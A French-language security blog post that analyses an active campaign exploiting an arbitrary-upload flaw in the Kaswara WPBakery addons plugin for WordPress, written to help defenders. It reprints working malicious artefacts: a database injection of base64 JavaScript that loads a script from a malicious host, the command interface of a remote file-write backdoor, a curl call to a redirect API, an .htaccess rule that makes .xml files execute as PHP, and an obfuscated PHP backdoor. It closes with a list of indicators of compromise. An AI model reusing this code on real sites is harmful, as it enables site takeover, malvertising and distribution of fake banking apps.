Vulnérable Kaswara Modern WPBakery Page Builder Addons Plugin exploité à l'état sauvage

Publié: 2021-06-08

De retour le 20 avril 2021, nos amis de WPScan ont signalé une grave vulnérabilité sur Kaswara Modern VC Addons, également connu sous le nom de Kaswara Modern WPBakery Page Builder Addons. Il n'est plus disponible chez Codecanyon/Envato, ce qui signifie que si vous l'avez en cours d'exécution, vous devez choisir une alternative.

Cette vulnérabilité permet aux utilisateurs non authentifiés de télécharger des fichiers arbitraires dans le répertoire d'icônes du plugin (./wp-content/uploads/kaswara/icons). Il s'agit du premier indicateur de compromis (IOC) que nos amis de WPScan ont partagé avec nous dans leur rapport.

La possibilité de télécharger des fichiers arbitraires sur un site Web donne au mauvais acteur un contrôle total sur le site, ce qui rend difficile la définition de la charge utile finale de cette infection ; ainsi, nous vous montrerons tout ce que nous avons trouvé jusqu'à présent (nous nous sommes un peu emportés dans la recherche, alors n'hésitez pas à passer à la section IOC si vous ne voulez pas lire jusqu'au bout).

Injection de base de données, fausses applications Android et autres portes dérobées

Merci à notre ami Denis Sinegubko de Sucuri pour avoir signalé le suivi d'injection de base de données utilisé avec cette attaque.

Les acteurs malveillants mettraient à jour l'option 'kaswara-customJS' pour ajouter un extrait malveillant arbitraire de code Javascript. Voici un exemple que nous avons trouvé :

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Cette chaîne encodée en base64 se traduit par :

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

Et comme cela se produit généralement avec ce type de script, il chargera en chaîne une série d'autres extraits de code Javascript, et la charge utile finale sera soit une publicité malveillante, soit un kit d'exploitation. Ceci est très similaire à ce que Wordfence a rapporté ici.

Dans ce cas, le script est en train de mourir sur hxxp://double-clickd[.]com/ et ne charge aucun mauvais contenu. J'ai trouvé du Javascript suspect appelant ce site depuis début 2020 et les gens le bloquent déjà depuis 2018.

Fausses applications téléchargées sur le site

Les 40 applications Android trouvées sur les sites Web que nous avons examinés étaient de fausses versions de différentes applications, comme AliPay, PayPal, Correos, DHL et bien d'autres, qui ont heureusement été détectées par les fournisseurs d'antivirus les plus populaires selon cette analyse VirusTotal.

Résultats de VirusTotal sur l'un des fichiers APK trouvés sur un site compromis

Je n'ai pas vérifié les intentions de l'application, mais un examen rapide des autorisations qu'elle demande peut nous donner un aperçu de ce qu'elle pourrait faire :

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

Cependant, ces fichiers ne sont pas immédiatement téléchargés à l'aide de l'exploit Kaswara. Une fois le site compromis, les attaquants téléchargent d'abord d'autres outils pour contrôler entièrement le site.

Fichiers téléchargés

Certaines portes dérobées et autres logiciels malveillants ont également été trouvés sur des sites Web compromis par cette vulnérabilité. Je vais partager une analyse rapide des plus populaires et des plus intéressantes dans cet article. Cependant, je veux d'abord me concentrer sur le plus complexe.

Rediriger et fausses applications

Les fausses applications que j'ai trouvées sur plusieurs sites compromis n'ont pas été téléchargées en exploitant la vulnérabilité Kaswara. Ils sont téléchargés sur le site à l'aide d'un hacktool multifonction, qui permet à l'attaquant de télécharger du code à distance (en fournissant une URL ou une chaîne) et de rediriger l'utilisateur vers un site malveillant.

Le fichier peut être facilement identifié par la présence de cette chaîne : base64_decode('MTIz');error_reporting(0); une fonction

Chose intéressante, il randomise tout le reste sauf cela.

Le malware est sur une seule ligne, ce qui est aussi un IOC intéressant si vous recherchez ce type d'anomalie de code.

malware c.php avec encodage complet

Pour faciliter la compréhension, j'ai décodé la plupart des parties du code, renommé les fonctions intéressantes et embelli le code. Le malware inclut 6 fonctions différentes, et 5 d'entre elles sont basées sur les valeurs passées sur la $_GET['ts'] . Pour ce document, considérons l'une des nombreuses instances que j'ai trouvées : c.php .

/c.php?ts=kt

Cela ne fait rien et forcera le site à renvoyer une erreur 500 (plus tard sur le code).

/c.php?ts=1

Modifie la valeur de l' $q1a en true pour effectuer une validation de code et envoyer un message OK à l'attaquant.

Dans ce cas, le site distant répond : {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Code”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Écrit un fichier sur le serveur avec le code fourni par le contenu de $_GET["v"] tant que $_GET["p"] est la somme de contrôle SHA1 de 123 (rappelez-vous que le premier IOC de base64_decode('MTIz') ? est cette somme de contrôle).

/c.php?ts=tt

Écrit 5 Mo de "-" sur le serveur, probablement utilisé pour tester si la fonction de téléchargement fonctionnera sur le serveur.

/c.php?ts=dwm&h=HASH1,HASH2

Lorsque le logiciel malveillant reçoit cette demande, il effectue un test pour vérifier si les fichiers téléchargés ont été correctement écrits sur le serveur. Leurs hachages MD5 doivent être connus et sont envoyés à $_GET['h'] sous forme de valeurs séparées par des virgules.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Télécharge un fichier à partir d'une série de sites Web tiers et l'enregistre sur le serveur en le nommant d'après les 12 derniers caractères du md5 du fichier téléchargé.

C'est la fonction utilisée pour télécharger de fausses applications sur le serveur.

Voici un exemple de demande de téléchargement de fichiers malveillants /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Rediriger l'accès

Si l'option kt ou aucune option n'a été sélectionnée, le code procède à la redirection, qui est réalisée en demandant un blob JSON avec les données nécessaires. Il procède ensuite à la redirection du visiteur à l'aide de la fonction d'en-tête.

La réponse ressemble à ceci : {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

La fonction pour exécuter une requête cURL avec les paramètres nécessaires est celle-ci : Rien d'extraordinaire…

Et cela peut être traduit en cette requête cURL :

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

L'URL finale est, pour autant que j'ai pu tester, aléatoire, mais partage la même caractéristique d'être une fausse page pour un service ou une application populaire.

wp-content/uploads/kaswara/icons/16/javas.xml et wp-content/uploads/kaswara/icons/16/.htaccess

Un fichier XML n'est généralement pas marqué comme une menace potentielle, mais dans ce cas, nous avons un fichier .htaccess spécialement conçu qui modifie la façon dont le serveur Web le voit :

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

En fait, il indique à Apache de comprendre tous les fichiers javas, home ou menus avec xml, php ou pdf comme un fichier PHP à traiter en conséquence et à exécuter. Ainsi, n'importe lequel de ces fichiers présents dans la même structure de répertoires que ce .htaccess sera suspect.

Le fichier javas.xml est identique à certains autres fichiers malveillants téléchargés sur le site. J'ai trouvé que la différence est que certains ont une ou deux lignes vides à la fin du fichier, ce qui rend le hachage traditionnel un peu plus délicat.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

Le code malveillant est masqué à l'aide de chaînes encodées str_rot13 et base64. Il utilise également des valeurs hexadécimales et des opérations mathématiques pour masquer un peu plus les chaînes. La charge utile finale est inconnue car elle créera une fonction basée sur les valeurs d'une requête POST. Cependant, la charge utile semble être la même à chaque fois car elle repose sur une vérification md5 avant de la créer (c42ea979ed982c02632430e9e98a66d6 est le hachage md5).

Conclusion

Comme il s'agit d'une campagne active, au moment de la rédaction de cet article, nous constatons que de plus en plus d'exemples de logiciels malveillants différents sont déposés sur les sites concernés. Certains ne sont que des variations de ce que nous avons ici, tandis que d'autres sont suffisamment intéressants pour une analyse plus approfondie. Recherchez des messages plus petits à venir pour explorer certains de ces autres exemples.

Cela illustre l'importance d'avoir vos extensions mises à jour avec les derniers correctifs de sécurité ; si les développeurs ne publient pas les correctifs en temps opportun ou s'ils sont supprimés du référentiel WordPress.org (ou d'autres marchés), nous vous recommandons fortement de trouver une alternative plus sûre.

Si vous êtes préoccupé par les logiciels malveillants et la vulnérabilité de votre site, consultez les fonctionnalités de sécurité de Jetpack. Jetpack Security fournit une sécurité de site WordPress complète et facile à utiliser, y compris des sauvegardes, une analyse des logiciels malveillants et une protection anti-spam.

Indicateurs de compromis

Vous trouverez ici la liste complète de tous les IOC que nous avons identifiés :

Hachage (SHA-1) Chemin Description de la menace
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 Fausse application Android
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 Fausse application Android
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded Fausse application Android
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd Fausse application Android
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf Fausse application Android
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 Fausse application Android
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe Fausse application Android
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c Fausse application Android
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a Fausse application Android
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e Fausse application Android
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b Fausse application Android
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa Fausse application Android
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc Fausse application Android
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea Fausse application Android
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb Fausse application Android
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 Fausse application Android
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae Fausse application Android
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 Fausse application Android
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e Fausse application Android
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c Fausse application Android
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e Fausse application Android
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f Fausse application Android
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b Fausse application Android
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 Fausse application Android
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 Fausse application Android
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 Fausse application Android
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c Fausse application Android
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc Fausse application Android
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa Fausse application Android
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 Fausse application Android
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d Fausse application Android
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 Fausse application Android
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 Fausse application Android
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 Fausse application Android
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 Fausse application Android
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 Fausse application Android
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 Fausse application Android
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d Fausse application Android
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 Fausse application Android
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 Fausse application Android
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php Logiciels malveillants abandonnés
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php Logiciels malveillants abandonnés
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php Téléchargeur de fichiers PHP
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php Logiciels malveillants abandonnés
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Logiciels malveillants d'exécution de code à distance
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php Logiciels malveillants abandonnés
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php Logiciels malveillants abandonnés
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php Logiciels malveillants abandonnés
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php Logiciels malveillants abandonnés
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip Logiciels malveillants abandonnés
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip Logiciels malveillants abandonnés
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php Logiciels malveillants abandonnés
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php Logiciels malveillants abandonnés
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php Logiciels malveillants d'exécution de code à distance
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php Logiciels malveillants abandonnés
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php ou ./wp-content/uploads/xeh02b.php Logiciels malveillants abandonnés
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php Logiciels malveillants abandonnés
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php Logiciels malveillants d'exécution de code à distance
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php Logiciels malveillants abandonnés
wp-content/uploads/kaswara/icons/16/javas.xml Logiciels malveillants d'exécution de code à distance
smurfetta.ru Domaine malveillant
http://papass.ru Domaine malveillant